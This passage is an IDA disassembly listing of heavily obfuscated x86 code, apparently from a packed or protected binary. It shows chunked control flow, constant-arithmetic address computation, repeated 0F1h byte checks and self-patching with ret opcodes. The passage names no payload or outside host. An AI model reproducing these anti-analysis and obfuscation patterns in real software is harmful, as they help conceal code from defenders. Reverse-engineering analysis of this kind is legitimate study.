eax, [ebp-4] cmp byte ptr [eax], 0F1h jmp loc_10019609 ; END OF FUNCTION CHUNK FOR sub_100188EE ; =============== S U B R O U T I N E ======================================= sub_1001A51D proc near ; CODE XREF: sub_1001D88D-8D18p ; an.kk9rg:100169F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100141A8 SIZE 0000000D BYTES xchg ecx, [esp+0] pop ecx mov ebp, esp push ecx jmp loc_100141A8 sub_1001A51D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001A529: ; CODE XREF: sub_1001564A:loc_100152A7j call sub_100136FF loc_1001A52E: ; CODE XREF: sub_1001A97E+262Ej jmp loc_1001563D ; END OF FUNCTION CHUNK FOR sub_1001564A ; =============== S U B R O U T I N E ======================================= sub_1001A533 proc near ; CODE XREF: sub_10013389+168p ; an.kk9rg:1001B96Dj ; FUNCTION CHUNK AT 10018027 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001A5DD SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx add edx, 6D780B14h add edx, ebp add edx, 5F05FA61h mov edx, [edx] jmp loc_10018027 sub_1001A533 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001A54C proc near ; CODE XREF: an.kk9rg:1001D6C9j ; DATA XREF: sub_1001D6A6+13o var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 10013935 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10015E52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100165D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100169CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016CCA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017ECA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001804F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B258 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B8EE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001C6F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C72C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001CA8B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 1001D27C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D499 SIZE 0000000A BYTES xchg ebx, [esp+0] jmp loc_10016CCA sub_1001A54C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001A554: ; DATA XREF: sub_10019E17:loc_1001539Co pop ebp retn ; --------------------------------------------------------------------------- loc_1001A556: ; CODE XREF: an.kk9rg:10018B27j jmp loc_1001AB66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001A55B: ; CODE XREF: sub_10019E17+Bj mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_1001A5A1 add dword ptr [ebp-8], 4 jmp loc_100174BB ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001A571: ; CODE XREF: sub_1001492C-7FEj jb loc_100172B8 jbe loc_1001340F ja loc_100154B2 loc_1001A583: ; CODE XREF: sub_1001492C:loc_10015527j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h loc_1001A589: ; CODE XREF: sub_100193F2:loc_1001C32Fj jnz loc_1001396C jmp loc_10016669 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- and ebp, ebx jmp loc_1001734E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001A59C: ; CODE XREF: sub_100152C7+6237j jmp loc_1001AFC1 ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E17 loc_1001A5A1: ; CODE XREF: sub_10019E17+74Bj add dword ptr [ebp-8], 2 jmp loc_10014A5D ; END OF FUNCTION CHUNK FOR sub_10019E17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015995 loc_1001A5AA: ; CODE XREF: sub_10015995:loc_10014D45j ; sub_1001B5A3+4j call sub_10018C76 loc_1001A5AF: ; CODE XREF: sub_10018C4D:loc_10013FD9j mov eax, [eax+18h] dec eax test eax, eax jl loc_1001B7CA inc eax call sub_100144F5 loc_1001A5C1: ; CODE XREF: an.kk9rg:1001545Fj jmp loc_100153B5 ; END OF FUNCTION CHUNK FOR sub_10015995 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_1001A5C6: ; CODE XREF: sub_100173FA+7j mov ebp, esp push offset sub_10017442 jmp loc_100199C8 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001A5D2: ; CODE XREF: sub_10019571:loc_10017C56j jg loc_1001A3CC jmp sub_10016A39 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A533 loc_1001A5DD: ; CODE XREF: sub_1001A533-2502j jnz loc_1001B558 jmp loc_1001351B ; END OF FUNCTION CHUNK FOR sub_1001A533 ; --------------------------------------------------------------------------- locret_1001A5E8: ; CODE XREF: an.kk9rg:100147D6j retn ; --------------------------------------------------------------------------- loc_1001A5E9: ; CODE XREF: an.kk9rg:1001D018j add edi, eax ; =============== S U B R O U T I N E ======================================= sub_1001A5EB proc near ; CODE XREF: sub_1001498A+6105p xchg edx, [esp+0] pop edx dec dword ptr [ebp-24h] jnz loc_10013B37 jmp loc_1001B7CA sub_1001A5EB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001A5FD: ; CODE XREF: sub_10018AB1+2FBBj rol eax, 10h push eax jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; =============== S U B R O U T I N E ======================================= sub_1001A606 proc near ; DATA XREF: sub_10018E79+3A28o ; FUNCTION CHUNK AT 10014470 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10015B92 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015BF7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B6DA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001DA88 SIZE 00000005 BYTES add edx, 0D29FD597h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_10015B92 jmp loc_10015BF7 sub_1001A606 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cdq add ebp, 0DA19C82Ch jmp sub_1001CC4A ; --------------------------------------------------------------------------- loc_1001A629: ; DATA XREF: sub_1001C619+6o pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100150A4 loc_1001A62B: ; CODE XREF: sub_100150A4+5j jmp loc_10017048 ; END OF FUNCTION CHUNK FOR sub_100150A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_1001A630: ; CODE XREF: sub_1001C6B0:loc_10014556j ; sub_100145B9+9j ... mov al, 1 jmp loc_10013FE4 ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001A637: ; CODE XREF: sub_10016C92j ; sub_100136D7:loc_10019FBEj call sub_1001AB4F loc_1001A63C: ; CODE XREF: sub_10015C77+5FE6j jmp loc_10017DA7 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C1D loc_1001A641: ; CODE XREF: sub_10019C1D+7j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_10019C1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_1001A646: ; CODE XREF: sub_10017F49+310j jmp nullsub_172 ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001A64B: ; CODE XREF: sub_10016D04:loc_10016F0Ej jz loc_10019216 jmp loc_10018101 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001A656: ; CODE XREF: sub_10019E2E+2FCAj imul byte ptr [edx] cmp al, 0A4h jz loc_1001D928 jmp loc_1001363E ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001A665: ; CODE XREF: sub_10015988:loc_10016F54j ; an.kk9rg:1001C355j or ebx, 2EAB275Bh jmp sub_100170BC ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- locret_1001A670: ; CODE XREF: an.kk9rg:loc_100192A7j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_1001A671: ; CODE XREF: sub_10013999+93C4j jmp loc_10018D81 ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001A676: ; CODE XREF: sub_10019E2E+1D13j jmp loc_1001D1AC ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001A67B: ; CODE XREF: sub_10017394:loc_1001CD63j or eax, edi test ecx, ebx jmp loc_1001CF76 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001A684: ; CODE XREF: sub_1001492C:loc_10016669j jz loc_10013967 jmp loc_100168E5 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_1001A68F: ; CODE XREF: an.kk9rg:100179BEj sub ebx, 62201AA9h loc_1001A695: ; CODE XREF: an.kk9rg:loc_100179B7j add eax, 0ADF15402h add eax, ebp add eax, 6290C054h jmp loc_10013435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_1001A6A8: ; CODE XREF: sub_1001A12F:loc_10016A34j jz loc_10016E52 jmp loc_1001CF87 ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- shr ecx, 1Ch jmp sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A6BB: ; CODE XREF: sub_10013389+3FDCj ja loc_10017701 or esi, 942BE4B8h jmp loc_10018C2A ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001A6CC: ; CODE XREF: an.kk9rg:1001AEEFj jnb loc_1001CA11 ; =============== S U B R O U T I N E ======================================= sub_1001A6D2 proc near ; CODE XREF: an.kk9rg:loc_10016C53p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10017F22 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10018E64 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001B48A SIZE 0000000E BYTES xchg edx, [esp+0] pop edx jz loc_10018E64 jmp loc_10017F22 sub_1001A6D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001A6E1: ; CODE XREF: sub_100142E8+725Ej ror ebp, 12h jb loc_10018828 jmp loc_10015B2A ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- loc_1001A6EF: ; CODE XREF: an.kk9rg:100136A3j jge loc_10013AE6 mov edx, [esi] ; =============== S U B R O U T I N E ======================================= sub_1001A6F7 proc near ; CODE XREF: an.kk9rg:10016DDDp ; FUNCTION CHUNK AT 10013AD6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100159EC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10015A97 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 100179DF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100181A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B01E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DA8D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ecx mov [ebp-4], eax jmp loc_1001DA8D sub_1001A6F7 endp ; --------------------------------------------------------------------------- loc_1001A704: ; CODE XREF: an.kk9rg:1001D33Fj jnp loc_1001C294 ; =============== S U B R O U T I N E ======================================= sub_1001A70A proc near ; CODE XREF: sub_10019409-2B6Ep var_8 = dword ptr -8 ; FUNCTION CHUNK AT 10013B03 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016DB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018A5B SIZE 0000001C BYTES xchg edi, [esp+0] pop edi add edx, ebp add edx, 0A017474h mov edx, [edx] imul byte ptr [edx] jmp loc_10016DB9 sub_1001A70A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B2CC loc_1001A71F: ; CODE XREF: sub_1001B2CC+Bj cdq jmp loc_1001CA16 ; END OF FUNCTION CHUNK FOR sub_1001B2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001A725: ; CODE XREF: sub_10016A1B:loc_100139BCj mov eax, [ebp-4] call sub_10017273 loc_1001A72D: ; CODE XREF: sub_1001CA40-51A7j jmp sub_100132E5 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_1001A732: ; CODE XREF: sub_1001C26A-8097j jmp loc_10015D37 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; --------------------------------------------------------------------------- mov [edi], ecx or edi, esi jmp sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A740: ; CODE XREF: sub_10017BF9:loc_1001A3EAj sbb esi, 0E6A33DBFh jmp loc_10014234 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- not ebx sub esi, eax jmp sub_10017F49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_1001A754: ; CODE XREF: sub_10019D80:loc_10015B53j mov eax, 0BC7399C0h push esi call sub_1001C3AE loc_1001A75F: ; CODE XREF: sub_1001C4EB+7j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_10019D80 ; --------------------------------------------------------------------------- loc_1001A764: ; CODE XREF: an.kk9rg:100151AEj jmp loc_100167D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A769: ; CODE XREF: sub_10017BF9-39B1j jmp loc_1001B754 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; =============== S U B R O U T I N E ======================================= sub_1001A76E proc near ; DATA XREF: sub_10017DC3:loc_100162C5o xchg ecx, [esp+0] mov edx, ecx pop ecx call sub_10016532 sub_1001A76E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001A779: ; CODE XREF: sub_1001ABFD-7590j jmp loc_1001DA9D ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A77E: ; CODE XREF: sub_10017BF9:loc_10017E9Ej jz loc_1001DF17 jmp loc_10014D82 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_1001A789: ; DATA XREF: sub_10015DB9:loc_1001A45Co neg eax cmp ax, 0A5B3h call sub_10013BAD mov ds:off_10002024, eax lea eax, sub_10019D80 mov byte ptr [eax], 0C3h jmp loc_100154BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019D80 loc_1001A7A8: ; CODE XREF: sub_10019D80+1j mov eax, [esp-4+arg_0] push eax jmp loc_10017107 ; END OF FUNCTION CHUNK FOR sub_10019D80 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sub esi, 0A8845D0Fh jmp sub_10015792 ; =============== S U B R O U T I N E ======================================= sub_1001A7BD proc near ; CODE XREF: sub_10018C76+Ej ; FUNCTION CHUNK AT 10019174 SIZE 00000005 BYTES push ebp mov eax, [ebp-20h] call sub_1001A7CF pop ecx mov [ebp-20h], eax jmp loc_10019174 sub_1001A7BD endp ; =============== S U B R O U T I N E ======================================= sub_1001A7CF proc near ; CODE XREF: sub_1001A7BD+4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001756F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DAF6 SIZE 00000017 BYTES call sub_10015131 loc_1001A7D4: ; CODE XREF: sub_100181E1-5039j ; sub_10013389+1B4j ... xchg eax, edx push edi push 16DC7A6Fh pop edi or edi, 0B242A6A4h jmp loc_1001756F sub_1001A7CF endp ; --------------------------------------------------------------------------- mov edx, eax jmp sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B3CA loc_1001A7EE: ; CODE XREF: sub_1001B3CA:loc_1001417Fj xor eax, 0ACE60538h jnp loc_10015C9B and esi, ecx jmp loc_1001762C ; END OF FUNCTION CHUNK FOR sub_1001B3CA ; --------------------------------------------------------------------------- mov eax, 0F25CB94Fh push offset sub_10015F31 jmp locret_10017EED ; =============== S U B R O U T I N E ======================================= sub_1001A810 proc near ; CODE XREF: sub_10018C76:loc_1001A1E3j push ebp mov eax, [ebp-20h] call sub_1001A822 pop ecx mov [ebp-20h], eax jmp loc_1001601E sub_1001A810 endp ; =============== S U B R O U T I N E ======================================= sub_1001A822 proc near ; CODE XREF: sub_1001A810+4p push ebp jmp loc_1001AA94 sub_1001A822 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016573 loc_1001A828: ; CODE XREF: sub_10016573+Dj mov byte ptr [eax], 0C3h jmp loc_10016611 ; END OF FUNCTION CHUNK FOR sub_10016573 ; --------------------------------------------------------------------------- loc_1001A830: ; CODE XREF: an.kk9rg:loc_1001DE27j xchg ebx, [esp] mov edx, ebx pop ebx mov eax, [esp] push offset sub_1001D50B jmp loc_10015B14 ; --------------------------------------------------------------------------- locret_1001A843: ; CODE XREF: an.kk9rg:loc_1001DA24j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B20F loc_1001A844: ; CODE XREF: sub_1001B20F-1E88j jmp loc_10013000 ; END OF FUNCTION CHUNK FOR sub_1001B20F ; --------------------------------------------------------------------------- loc_1001A849: ; CODE XREF: an.kk9rg:10018BB3j jmp loc_100180AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001A84E: ; CODE XREF: sub_10019409-3601j jmp loc_100137EC ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001A853: ; CODE XREF: sub_1001767A:loc_10018D39j cmp byte ptr [eax], 0F1h jnz loc_100155C7 jmp loc_100191D2 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- push edx mov edx, eax xchg edx, [esp] ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001A867: ; CODE XREF: sub_10013389+6855j push edx mov edx, eax xchg edx, [esp+4+var_4] jmp loc_1001D4A8 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001A872: ; CODE XREF: sub_10017BF9+1E8Cj or edx, 0A7AF2058h xor edx, 0EB4E59E2h add edx, ebp push offset sub_1001456F jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- loc_1001A88A: ; DATA XREF: sub_10013688+17C2o jnz loc_1001D82D mov eax, [ebp+8] mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_10017F44 ; --------------------------------------------------------------------------- loc_1001A8A7: ; CODE XREF: an.kk9rg:1001A457j mov esi, ebx pop ebx xor esi, 19BB7382h or esi, 883579B6h add esi, 5689D07Fh jmp loc_1001C746 ; --------------------------------------------------------------------------- loc_1001A8C1: ; DATA XREF: an.kk9rg:1001B889o add eax, 0FFFD61C5h xchg eax, [esp] jmp loc_1001837D ; --------------------------------------------------------------------------- popf jmp sub_1001B935 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001A8D6: ; CODE XREF: sub_100194EA-25F6j jmp loc_1001B8A9 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- loc_1001A8DB: ; CODE XREF: an.kk9rg:100145B3j sub ebx, esi ; =============== S U B R O U T I N E ======================================= sub_1001A8DD proc near ; CODE XREF: sub_10013389+81D2p ; FUNCTION CHUNK AT 10017554 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10018D76 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi cmp byte ptr [eax], 0F1h jnz loc_10017554 jmp loc_10018D76 sub_1001A8DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001A8EF: ; CODE XREF: sub_10019409:loc_1001CDBDj cmp ecx, 222118C1h jmp loc_100154DE ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_1001A8FA: ; CODE XREF: sub_1001D951:loc_10014BD2j push eax lea eax, sub_100153B8 push edi mov edi, eax jmp loc_1001ACD3 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001A909: ; CODE XREF: sub_100188EE+711j mov eax, [ebp-4] add eax, 0B7D1D658h call sub_10016E8B ; END OF FUNCTION CHUNK FOR sub_100188EE ; START OF FUNCTION CHUNK FOR sub_10018D62 loc_1001A917: ; CODE XREF: sub_10018D62+Fj jmp loc_1001D378 ; END OF FUNCTION CHUNK FOR sub_10018D62 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001A91C: ; CODE XREF: sub_10019E2E-63C9j jmp loc_1001C74B ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_1001A921: ; CODE XREF: sub_1001C8CE:loc_10018EB2j jz loc_10018C2A jmp loc_10016E86 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001A92C: ; CODE XREF: sub_10017394-2A11j jz loc_10016197 jmp loc_1001CD63 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001A937: ; CODE XREF: sub_10015BFC:loc_10013895j add eax, 2CAE198Ah mov eax, [eax] or eax, eax jnz loc_10016313 jmp loc_1001B6B9 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_1001A94C: ; CODE XREF: sub_10014E66:loc_10015163j jnz loc_10014612 jmp loc_1001BC62 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; --------------------------------------------------------------------------- loc_1001A957: ; CODE XREF: an.kk9rg:loc_10015699j sub eax, 0F1C6F693h and eax, 7D4BDE88h rol eax, 8 add eax, 3CB8258Fh add eax, ebp jmp loc_1001B819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001A973: ; CODE XREF: sub_10019409-5290j jz loc_100132DD jmp loc_10014F1D ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001A97E proc near ; DATA XREF: sub_100180C2+2005o ; FUNCTION CHUNK AT 10013599 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100142A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100142E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100149B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100158FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100161CC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016560 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100166D8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016729 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100168C0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10017304 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017758 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100178F4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017C2E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017FD5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001845C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 100187D8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10018CC3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10018D9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018F4D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001916D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019639 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019B75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B510 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B834 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001BA7F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C2EB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001C48C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C6CC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CDAD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001CFA6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001D4BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001D684 SIZE 00000005 BYTES pop edx mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_10017309 jmp loc_100161CC sub_1001A97E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_1001A98F: ; CODE XREF: sub_1001985B:loc_10018CD4j sub al, 99h push 14409D6h pop edx add edx, 0E177EDBBh and edx, 55884105h add edx, 9C0F8FABh add edx, ebp jmp loc_10016A4B ; END OF FUNCTION CHUNK FOR sub_1001985B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001A9B0: ; CODE XREF: sub_10015BFC:loc_1001D039j push eax call sub_100174F4 retn ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001A9B7: ; CODE XREF: sub_1001D4C9+17j jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013359 loc_1001A9BC: ; CODE XREF: sub_10013359+Dj jmp loc_1001703B ; END OF FUNCTION CHUNK FOR sub_10013359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001A9C1: ; CODE XREF: sub_100180C2-29D8j ; sub_1001B956+2428j jns sub_10016B20 push esi mov esi, ebp xchg esi, [esp+10h+var_10] mov ebp, esp jmp loc_1001C0DB ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017217 loc_1001A9D4: ; CODE XREF: sub_10017217:loc_1001ACA0j pop edi xchg edi, [esp+0] mov edx, 0FFFFFFFFh push edx ; END OF FUNCTION CHUNK FOR sub_10017217 ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001A9DE: ; CODE XREF: sub_1001564A:loc_100155EEj push eax call sub_10015BFC push esi jmp loc_100152A7 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001A9EA: ; CODE XREF: sub_10019473:loc_1001860Cj mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001B8DC jmp loc_1001B34D ; END OF FUNCTION CHUNK FOR sub_10019473 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001A9FA: ; CODE XREF: sub_100141F5:loc_1001DB5Aj mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax xor eax, eax jmp loc_1001587C ; END OF FUNCTION CHUNK FOR sub_100141F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001AA0A: ; CODE XREF: sub_10016167+3C6j jz loc_10015F16 jmp loc_10014A90 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100198E6 loc_1001AA15: ; CODE XREF: sub_100198E6+3991j mov eax, [ebp-8] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_100198E6 ; --------------------------------------------------------------------------- ; START OF 